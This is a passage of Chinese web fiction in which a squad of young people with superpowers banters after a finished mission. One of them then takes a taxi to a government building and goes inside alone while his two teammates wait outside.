艾以何的耳朵红了一下。 她面无表情地凝聚出两块冰,一块啪地堵住熊猫的嘴,一块啪地堵住林骁的嘴。 但已经迟了。 他哈哈大笑,笑得雪糕差点从鼻子里喷出来:“可可可人?哈哈哈哈哈哈哈——” 啪。 又一块冰堵上去。 这次是嘴和鼻子一起。 张鹰进来了,靠在门框上,嚼着口香糖看他们闹。她的衣服上还有玻璃碴,头发上也有,脖子上还缠着绷带。 她嚼口香糖的动作比平时慢了一点。 只是一点。 “行了,”她说,“任务完成,收队。我送你们回去。” 林骁把嘴里的冰块吐出来,举手:“队长,我有点事要去别的地方一趟。” 张鹰看他。 “就在首都。”林骁补充,“今晚就能回基地。” 张鹰没说话,视线扫过剩下的两个人。 艾以何看着林骁:“我跟你去。我要保护辅助。” 熊猫瞬间反应过来,疯狂点头:“对对对!他一个大男人,晚上自己回家太危险了!” 张鹰亦无不可,耸了耸肩:“随你们。” 林骁张了张嘴,想拒绝,但万一碰到谁欣赏他的饮料—— 他打了个哆嗦。 他可不想一辈子当饮料工厂。 张鹰先走,三人打车到了一个行政机关。 朴实的灰色小楼,门口有警卫,看起来是很严肃的地方。 林骁付了钱,推开车门,又回头看了一眼车里的人。 “在这等我。”他说,“我十分钟就出来。” 熊猫正配合司机合影,兴奋得不行。她抽空朝林骁挥了挥手:“去吧去吧!” 艾以何张了张口,但林骁已经转身往楼里走了。 他的背影看起来很正常,和平时没什么两样。但艾以何注意到,他走得很急。 像是怕自己会后悔一样。 门在他身后合上,玻璃上映出模糊的影子,然后消失。 艾以何收回视线。